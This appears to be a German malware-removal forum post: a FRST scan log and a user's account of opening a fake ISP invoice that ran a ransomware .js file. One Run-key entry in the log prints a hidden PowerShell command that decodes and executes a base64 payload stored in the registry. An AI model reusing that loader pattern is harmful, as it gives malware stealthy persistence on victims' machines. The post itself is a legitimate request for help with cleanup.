2016-08-16 17:19 - 2000-08-31 02:00 - 00098816 _____ C:\WINDOWS\sed.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00080412 _____ C:\WINDOWS\grep.exe

2016-08-16 17:19 - 2000-08-31 02:00 - 00068096 _____ C:\WINDOWS\zip.exe

2016-08-16 16:09 - 2016-08-16 16:54 - 00273062 _____ C:\TDSSKiller.3.1.0.11_16.08.2016_16.09.54_log.txt

2016-08-16 15:09 - 2016-08-16 16:07 - 00139380 _____ C:\TDSSKiller.3.1.0.11_16.08.2016_15.09.26_log.txt

2016-08-16 15:07 - 2016-08-16 15:07 - 00002164 _____ C:\TDSSKiller.3.1.0.11_16.08.2016_15.07.39_log.txt

2016-08-04 00:56 - 2016-08-17 11:53 - 00000000 ____D C:\FRST

2016-08-04 00:39 - 2016-08-04 00:55 - 00000000 ____D C:\AdwCleaner
 

==================== Ein Monat: Geänderte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2016-08-17 11:51 - 2013-07-20 20:32 - 00001086 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job

2016-08-17 11:51 - 2013-02-24 02:00 - 00262144 _____ C:\WINDOWS\system32\config\WindowsPowerShell.evt

2016-08-17 11:51 - 2007-01-08 22:42 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT

2016-08-17 11:50 - 2007-01-08 22:44 - 00000190 ___SH C:\Dokumente und Einstellungen\Julie\ntuser.ini

2016-08-17 11:50 - 2007-01-08 22:44 - 00000000 ____D C:\Dokumente und Einstellungen\Julie

2016-08-17 11:50 - 2007-01-08 22:42 - 00032372 _____ C:\WINDOWS\SchedLgU.Txt

2016-08-17 11:34 - 2014-04-04 14:37 - 00007706 _____ C:\WINDOWS\system32\nvAppTimestamps

2016-08-16 22:25 - 2013-03-03 14:01 - 00000884 _____ C:\WINDOWS\Tasks\Adobe Flash Player Updater.job

2016-08-16 22:13 - 2013-07-20 20:32 - 00001090 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job

2016-08-16 17:41 - 2015-06-21 17:55 - 00000000 ___HD C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen

2016-08-16 17:41 - 2013-08-03 00:01 - 00000000 ____D C:\Dokumente und Einstellungen\Default User

2016-08-16 17:41 - 2007-01-08 22:44 - 00000000 ___HD C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen

2016-08-16 17:41 - 2007-01-08 22:42 - 00000000 ___HD C:\Dokumente und Einstellungen\LocalService\Lokale Einstellungen

2016-08-16 17:41 - 2007-01-08 22:40 - 00000000 ___HD C:\Dokumente und Einstellungen\NetworkService\Lokale Einstellungen

2016-08-16 17:36 - 2002-12-31 14:00 - 00000260 _____ C:\WINDOWS\system.ini

2016-08-16 17:35 - 2007-01-09 06:23 - 41156608 _____ C:\WINDOWS\system32\config\software.bak

2016-08-16 17:35 - 2007-01-09 06:23 - 05767168 _____ C:\WINDOWS\system32\config\system.bak

2016-08-16 17:35 - 2007-01-09 06:23 - 02097152 _____ C:\WINDOWS\system32\config\default.bak

2016-08-16 17:35 - 2007-01-09 05:24 - 00262144 _____ C:\WINDOWS\system32\config\SECURITY.bak

2016-08-16 17:35 - 2007-01-09 05:24 - 00028672 _____ C:\WINDOWS\system32\config\SAM.bak

2016-08-16 17:33 - 2007-01-09 05:25 - 00000000 __RHD C:\Dokumente und Einstellungen\All Users\Anwendungsdaten

2016-08-16 17:33 - 2007-01-08 22:44 - 00000000 ___HD C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten

2016-08-16 17:31 - 2007-01-09 05:27 - 00000000 ____D C:\Programme\Gemeinsame Dateien

2016-08-16 17:24 - 2007-01-08 22:44 - 00000000 ___RD C:\Dokumente und Einstellungen\Julie\Anwendungsdaten

2016-08-16 16:33 - 2007-01-08 22:35 - 00000000 ____D C:\Programme\Outlook Express

2016-08-16 16:31 - 2014-08-12 18:08 - 00000026 _____ C:\WINDOWS\Zone.Identifier

2016-08-16 12:20 - 2002-12-31 14:00 - 00002206 _____ C:\WINDOWS\system32\wpa.dbl

2016-08-04 11:53 - 2012-07-03 01:53 - 00000000 ____D C:\WINDOWS\pss

2016-08-04 11:53 - 2007-01-08 22:44 - 00000000 ___RD C:\Dokumente und Einstellungen\Julie\Startmenü\Programme\Autostart

2016-08-04 11:53 - 2002-12-31 14:00 - 00000718 _____ C:\WINDOWS\win.ini

2016-08-04 00:44 - 2007-01-09 05:27 - 00000000 ___RD C:\Programme

2016-08-04 00:44 - 2007-01-08 22:42 - 00000190 ___SH C:\Dokumente und Einstellungen\LocalService\ntuser.ini

2016-08-02 13:21 - 2012-09-12 17:36 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Eigene Dateien\My Scans

2016-08-02 13:21 - 2007-02-06 12:31 - 00000000 ____D C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\ApplicationHistory

2016-08-02 10:12 - 2007-01-09 05:24 - 00000000 ____D C:\Dokumente und Einstellungen\All Users

2016-08-01 01:00 - 2015-07-09 15:34 - 00002285 _____ C:\Dokumente und Einstellungen\Julie\Desktop\MySQL Control Center.lnk

2016-08-01 00:44 - 2007-02-06 20:21 - 00000000 ____D C:\Programme\CD-Lab Viewer

2016-08-01 00:43 - 2007-01-09 05:27 - 00000000 ___RD C:\Dokumente und Einstellungen\All Users\Startmenü\Programme

2016-08-01 00:21 - 2007-01-09 06:23 - 00000211 ___SH C:\boot.ini

2016-07-29 12:13 - 2016-03-15 14:54 - 00000000 ____D C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\ProductData

2016-07-22 13:11 - 2007-10-23 01:01 - 00000000 ____D C:\unzipped
 

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======
 

2008-05-24 12:07 - 2009-05-05 20:34 - 0000000 ____H () C:\Programme\Gemeinsame Dateien\MSN

2012-09-07 14:04 - 2012-09-07 14:06 - 0001024 _____ () C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\WavCodec.wff

2008-01-30 13:51 - 2016-02-22 12:47 - 0018432 _____ () C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini

2007-02-06 12:31 - 2007-02-06 12:31 - 0000138 _____ () C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\fusioncache.dat

2002-12-31 14:00 - 2008-04-14 08:52 - 72365312 ___SH () C:\Dokumente und Einstellungen\All Users\msdgqhc.exe

2016-04-20 23:17 - 2016-04-20 23:17 - 0000085 ___SH () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\.zreglib

2011-02-24 22:39 - 2011-02-24 22:39 - 0005013 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\jdhdxjyu.jga

2011-08-16 15:07 - 2011-08-16 15:26 - 0000392 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\P1kAlMiG2Kb7Fz

2007-05-02 13:18 - 2010-08-07 15:27 - 0001763 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\QTSBandwidthCache

2011-08-16 15:07 - 2011-08-16 15:33 - 0000224 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fz

2011-08-16 15:07 - 2011-08-16 15:33 - 0000176 _____ () C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\~P1kAlMiG2Kb7Fzr
 

Dateien, die verschoben oder gelöscht werden sollten:

====================

C:\Dokumente und Einstellungen\All Users\msdgqhc.exe
 
 

Einige Dateien in TEMP:

====================

C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\temp\cdo1523199992.dll
 
 

==================== Bamital & volsnap =================
 

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
 

C:\WINDOWS\explorer.exe => Datei ist digital signiert

C:\WINDOWS\system32\winlogon.exe => Datei ist digital signiert

C:\WINDOWS\system32\svchost.exe => Datei ist digital signiert

C:\WINDOWS\system32\services.exe => Datei ist digital signiert

C:\WINDOWS\system32\User32.dll => Datei ist digital signiert

C:\WINDOWS\system32\userinit.exe => Datei ist digital signiert

C:\WINDOWS\system32\rpcss.dll => Datei ist digital signiert

C:\WINDOWS\system32\dnsapi.dll => Datei ist digital signiert

C:\WINDOWS\system32\Drivers\volsnap.sys => Datei ist digital signiert
 

==================== Ende vom FRST.txt ============================

Du liebe Zeit, ich merke irgendwie dass ich nicht auf Urlaub war, nur aus bestimmten Gründen verreist und mir passieren unglaublich dumme Dinge gerade mit dem IT Wahnsinn.
Und zwar öffnete ich heute Nachmittag (zum ersten Mal dass ich auf etwas hereinfalle per mail :stirn:) eine A1 Rechnung (Internet-Provider) und habe nun eine Bedrohung, per .js Datei exekutiert, die meldet "Ihre Files sind mit Crypto_locker verschlüsselt, bitte zahlen Sie ein auf ...."
Deshalb, liebe ExpertInnen, gebe ich noch eine aktuellere FRST.txt und Addition.txt dazu:

Code:

Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x86) Version: 03-08-2016

durchgeführt von Julie (Administrator) auf HOME (17-08-2016 16:58:38)

Gestartet von C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads

Geladene Profile: Julie (Verfügbare Profile: Julie & Administrator)

Platform: Microsoft Windows XP Professional Service Pack 3 (X86) Sprache: Deutsch (Deutschland)

Internet Explorer Version 8 (Standard-Browser: IE)

Start-Modus: Normal

Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
 

==================== Prozesse (Nicht auf der Ausnahmeliste) =================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
 

(Oracle Corporation) C:\Programme\Java\jre7\bin\jqs.exe

(Hewlett-Packard Company) C:\Programme\Gemeinsame Dateien\LightScribe\LSSrvc.exe

(PACE Anti-Piracy, Inc.) C:\Programme\Gemeinsame Dateien\PACE\Services\LicenseServices\LDSvc.exe

(SafeNet, Inc) C:\Programme\Gemeinsame Dateien\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe

(Analog Devices, Inc.) C:\Programme\Analog Devices\Core\smax4pnp.exe

(Microsoft Corporation) C:\WINDOWS\system32\wscntfy.exe

(mquadr.at software engineering and consulting GmbH, web: www.mquadr.at, mail: office@mquadr.at) C:\Programme\A1\A1 Webassistent\A1Webassistent.exe

(Analog Devices, Inc.) C:\Programme\Analog Devices\SoundMAX\SMax4.exe

(Safer-Networking Ltd.) C:\Programme\Spybot - Search & Destroy\TeaTimer.exe

(Oracle Corporation) C:\Programme\MySQL\MySQL Notifier 1.1\MySQLNotifier.exe

(Microsoft Corporation) C:\WINDOWS\system32\wbem\unsecapp.exe

(Microsoft Corporation) C:\WINDOWS\system32\msiexec.exe

(Microsoft Corporation) C:\WINDOWS\system32\taskmgr.exe
 
 

==================== Registry (Nicht auf der Ausnahmeliste) ===========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
 

HKLM\...\Run: [High Definition Audio Property Page Shortcut] => C:\WINDOWS\system32\HDAShCut.exe [61952 2004-10-27] (Windows (R) Server 2003 DDK provider)

HKLM\...\Run: [SoundMAXPnP] => C:\Programme\Analog Devices\Core\smax4pnp.exe [925696 2005-05-20] (Analog Devices, Inc.)

HKLM\...\Run: [Deskup] => C:\Programme\Iomega\DriveIcons\deskup.exe [32768 2002-07-16] (Iomega)

HKLM\...\Run: [Logitech Utility] => C:\WINDOWS\Logi_MwX.Exe [19968 2003-06-30] (Logitech Inc.)

HKLM\...\Run: [FirefaceTray] => C:\WINDOWS\system32\fireface.exe [352768 2016-03-08] (RME)

HKLM\...\Run: [FirefaceMixTray] => C:\WINDOWS\system32\firefacemix.exe [1054720 2016-03-08] (RME)

HKLM\...\Run: [A1Webassistent] => C:\Programme\A1\A1 Webassistent\A1Webassistent.exe [18977656 2012-02-08] (mquadr.at software engineering and consulting GmbH, web: www.mquadr.at, mail: office@mquadr.at)

HKLM\...\Run: [SoundMax] => C:\Programme\Analog Devices\SoundMAX\Smax4.exe [716800 2005-09-07] (Analog Devices, Inc.)

HKLM\...\Run: [akesikyz] => C:\WINDOWS\bdeqpjir.exe [614912 2016-08-17] (Ghisler  Software GmbH)

Winlogon\Notify\AtiExtEvent: 

HKLM\...\Policies\Explorer\Run: [1038853070] => C:\Dokumente und Einstellungen\All Users\msdgqhc.exe [72365312 2008-04-14] ()

HKLM\...\Policies\Explorer: [NoCDBurning] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [SpybotSD TeaTimer] => C:\Programme\Spybot - Search & Destroy\TeaTimer.exe [2260480 2009-03-05] (Safer-Networking Ltd.)

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [MySQL Notifier] => C:\Programme\MySQL\MySQL Notifier 1.1\MySqlNotifier.exe [773120 2014-09-03] (Oracle Corporation)

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [{A9480375-EB4E-4B08-9CBA-83931501F684}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\WOzb').HITANTCUPSFK)));

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [SpecifyDefaultButtons] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Back] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Forward] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Stop] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Refresh] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Home] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Search] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_History] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Favorites] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Media] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_MailNews] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Print] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Discussions] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Edit] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Folders] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Fullscreen] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Size] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Cut] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Copy] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Paste] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Encoding] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Tools] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [NoBandCustomize] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\WINDOWS\system32\sspipes.scr [610304 2008-04-14] (Microsoft Corporation)
 

==================== Internet (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
 

Tcpip\Parameters: [DhcpNameServer] 10.0.0.138

Tcpip\..\Interfaces\{7480D7A3-EAEB-451B-AAF1-5683002F6013}: [DhcpNameServer] 10.0.0.138

ManualProxies: 
 

Internet Explorer:

==================

HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschränkung <======= ACHTUNG

HKU\S-1-5-21-796845957-1960408961-682003330-1003\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschränkung <======= ACHTUNG

HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch

HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=msnhome

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://oe1.orf.at/

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,SearchMigratedDefaultURL = hxxp://www.google.com/search?q={searchTerms}

SearchScopes: HKU\S-1-5-21-796845957-1960408961-682003330-1003 -> {3D41F773-C2A2-4541-8F58-DF94FA1311D3} URL = hxxp://search.yahoo.com/search?ei=utf-8&fr=chr-vmn&type=vmn3_0yach&q={searchTerms}

SearchScopes: HKU\S-1-5-21-796845957-1960408961-682003330-1003 -> {A5AC6D7F-502F-4A01-82E0-4A1A6D7B2EC2} URL = hxxp://www.google.de/search?q={searchTerms}

BHO: Adobe PDF Reader -> {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} -> C:\Programme\Gemeinsame Dateien\Adobe\Acrobat\ActiveX\AcroIEHelper.dll [2006-10-22] (Adobe Systems Incorporated)

BHO: Telenorhjelpen -> {2EF1BAF9-1988-42a1-82BC-5CB6197AED28} -> C:\Programme\Telenor Norway\Telenorhjelpen\BHO\IEBHO.dll [2010-12-17] (Telenor)

BHO: RealPlayer Download and Record Plugin for Internet Explorer -> {3049C3E9-B461-4BC5-8870-4C09146192CA} -> C:\Program Files\Real\RealPlayer\rpbrowserrecordplugin.dll [2009-04-10] (RealPlayer)

BHO: DivX Plus Web Player HTML5 <video> -> {326E768D-4182-46FD-9C16-1449A49795F4} -> C:\Programme\DivX\DivX Plus Web Player\ie\DivXHTML5\DivXHTML5.dll [2011-12-12] (DivX, LLC)

BHO: Spybot-S&D IE Protection -> {53707962-6F74-2D53-2644-206D7942484F} -> C:\Programme\Spybot - Search & Destroy\SDHelper.dll [2008-09-15] (Safer Networking Limited)

BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Programme\Java\jre1.8.0_31\bin\ssv.dll [2016-03-25] (Oracle Corporation)

BHO: Ads Removal -> {9D974C8C-6D92-44FB-BEAF-B45A1C0CF17F} -> C:\Programme\IObit\IObit Malware Fighter\adsremoval\IE\Adblock.dll [2014-06-11] (Adblock)

BHO: Kein Name -> {BA0C978D-D909-49B6-AFE2-8BDE245DC7E6} -> Keine Datei

BHO: Kein Name -> {d5b8015d-68af-4b2c-9412-e349d82ab4a2} -> Keine Datei

BHO: Telenor Telenorhjelpen Plugin -> {DB87CDE1-EF9C-44EB-A42F-6D0B3C72C516} -> Keine Datei

BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Programme\Java\jre1.8.0_31\bin\jp2ssv.dll [2016-03-25] (Oracle Corporation)

BHO: Kein Name -> {f379a94e-3c5d-4bad-b32c-0e3af1cc3617} -> Keine Datei

DPF: {166B1BCA-3F9C-11CF-8075-444553540000} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab

DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {8FFBE65D-2C9C-4669-84BD-5829DC0B603C} hxxp://fpdownload.macromedia.com/get/flashplayer/current/polarbear/ultrashim.cab

DPF: {CAFEEFAC-0017-0000-0000-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {CAFEEFAC-0017-0000-0007-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_07-windows-i586.cab

DPF: {CAFEEFAC-0017-0000-0051-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_51-windows-i586.cab

DPF: {CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} hxxp://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab

Handler: cetihpz - {CF184AD3-CDCB-4168-A3F7-8E447D129300} - C:\Programme\HP\hpcoretech\comp\hpuiprot.dll [2004-05-12] (Hewlett-Packard Company)

Handler: http\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: http\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: https\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: https\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: ipp\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: msdaipp\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: msdaipp\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)
 

FireFox:

========

FF ProfilePath: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default

FF DefaultSearchEngine: Yahoo!

FF DefaultSearchUrl: hxxp://www.google.com/search?lr=&ie=UTF-8&oe=UTF-8&q=

FF Homepage: hxxp://at.search.yahoo.com/?type=800236&fr=spigot-yhp-ff

FF SelectedSearchEngine: Yahoo!

FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF32_22_0_0_209.dll [2016-07-15] ()

FF Plugin: @adobe.com/ShockwavePlayer -> C:\WINDOWS\system32\Adobe\Director\np32dsw_1218158.dll [2015-05-07] (Adobe Systems, Inc.)

FF Plugin: @divx.com/DivX Browser Plugin,version=1.0.0 -> C:\Programme\DivX\DivX Plus Web Player\npdivx32.dll [2011-12-13] (DivX, LLC)

FF Plugin: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Programme\DivX\DivX OVS Helper\npovshelper.dll [2011-06-20] (DivX, LLC.)

FF Plugin: @ilok.com/iLokHelper,version=3.1.0.6 -> C:\Programme\PACE Anti-Piracy\iLok\NPPaceILok.dll [2009-04-24] ( PACE Anti-Piracy, Inc)

FF Plugin: @ilok.com/iLokHelper,version=3.1.0.7 -> C:\Programme\PACE Anti-Piracy\iLok\NPPaceILok.dll [2009-04-24] ( PACE Anti-Piracy, Inc)

FF Plugin: @java.com/DTPlugin,version=11.31.2 -> C:\Programme\Java\jre1.8.0_31\bin\dtplugin\npDeployJava1.dll [2016-03-25] (Oracle Corporation)

FF Plugin: @java.com/JavaPlugin,version=11.31.2 -> C:\Programme\Java\jre1.8.0_31\bin\plugin2\npjp2.dll [2016-03-25] (Oracle Corporation)

FF Plugin: @microsoft.com/WPF,version=3.5 -> C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll [2008-07-30] (Microsoft Corporation)

FF Plugin: @real.com/nppl3260;version=6.0.12.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nppl3260.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @real.com/nprjplug;version=1.0.3.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nprjplug.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @real.com/nprpjplug;version=6.0.12.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nprpjplug.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @tools.google.com/Google Update;version=3 -> C:\Programme\Google\Update\1.3.31.5\npGoogleUpdate3.dll [2016-07-29] (Google Inc.)

FF Plugin: @tools.google.com/Google Update;version=9 -> C:\Programme\Google\Update\1.3.31.5\npGoogleUpdate3.dll [2016-07-29] (Google Inc.)

FF Plugin HKU\S-1-5-21-796845957-1960408961-682003330-1003: @citrixonline.com/appdetectorplugin -> C:\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Citrix\Plugins\104\npappdetector.dll [2015-10-12] (Citrix Online)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin2.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin3.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin4.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin5.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin6.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Programme\mozilla firefox\plugins\npqtplugin7.dll [2012-08-29] (Apple Inc.)

FF Plugin ProgramFiles/Appdata: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\mozilla\plugins\np-mswmp.dll [2009-09-25] (Microsoft Corporation)

FF Extension: Java Console - C:\Programme\Mozilla Firefox\extensions\{CAFEEFAC-0017-0000-0000-ABCDEFFEDCBA} [2014-06-21] [ist nicht signiert]

FF Extension: Connection Centre Extension - C:\Programme\Telenor Norway\Telenorhjelpen\BHO\Firefox [2014-08-11] [ist nicht signiert]

FF Extension: Kein Name - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\extensions\iobitascsurfingprotection@iobit.com [nicht gefunden]

FF Extension: Microsoft .NET Framework Assistant - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{20a82645-c095-46ed-80e3-08825760534b}(2) [2012-09-13] [ist nicht signiert]

FF Extension: Start Page - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{58d2a791-6199-482f-a9aa-9b725ec61362} [2014-03-30] [ist nicht signiert]

FF Extension: VMN Toolbar - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{98f782cf-9b6b-41ca-909b-b4fdc0bbc23a} [2011-08-22] [ist nicht signiert]

FF Extension: JavaScript Options - C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\Extensions\{cdbbb3f6-a50e-4b20-a154-5fcbb3bbf43d} [2009-05-31] [ist nicht signiert]

FF Extension: Mozilla Firefox distributed by RealNetworks - C:\Programme\Mozilla Firefox\extensions\realplayer@partners.mozilla.com [2009-01-22] [ist nicht signiert]

FF Extension: Controller - C:\Programme\Mozilla Firefox\extensions\{B0BBFC8E-6697-4D2B-8FC4-B5AD9B3B1F11} [2016-05-20] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\Program Files\Real\RealPlayer\browserrecord

FF Extension: RealPlayer Browser Record Plugin - C:\Program Files\Real\RealPlayer\browserrecord [2009-04-10] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{20a82645-c095-46ed-80e3-08825760534b}] - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension

FF Extension: Microsoft .NET Framework Assistant - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension [2010-03-02] [ist nicht signiert]

FF HKLM\...\Firefox\Extensions: [{23fcfd51-4958-4f00-80a3-ae97e717ed8b}] - C:\Programme\DivX\DivX Plus Web Player\firefox\DivXHTML5

FF Extension: DivX Plus Web Player HTML5 &video& - C:\Programme\DivX\DivX Plus Web Player\firefox\DivXHTML5 [2012-09-16] [ist nicht signiert]

